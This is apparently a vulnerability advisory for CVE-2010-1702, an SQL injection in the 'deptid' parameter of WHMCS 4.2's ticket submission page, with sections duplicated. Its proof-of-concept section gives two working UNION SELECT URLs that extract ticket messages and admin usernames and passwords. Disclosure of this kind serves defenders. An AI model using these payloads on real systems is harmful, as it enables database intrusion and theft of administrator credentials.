WHMCS 'deptid' Parameter SQL Injection Vulnerability
BID:39681
Info
WHMCS 'deptid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 39681 |
| Class: | Input Validation Error |
| CVE: |
CVE-2010-1702 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 24 2010 12:00AM |
| Updated: | Apr 13 2015 09:02PM |
| Credit: | Islam DefenDers |
| Vulnerable: |
WHMCS WHMCS 4.2 |
| Not Vulnerable: | |
Discussion
WHMCS 'deptid' Parameter SQL Injection Vulnerability
WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
WHMCS (WHM Complete Solution) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
WHMCS 'deptid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20
http://www.example.com/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.example.com/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,message,6,7,8,9,10 from tbltickets--%20
http://www.example.com/submitticket.php?step=2&deptid=001' and 1=0 union all select 1,2,3,4,username,6,7,8,password,10 from tbladmins--%20
Solution / Fix
WHMCS 'deptid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].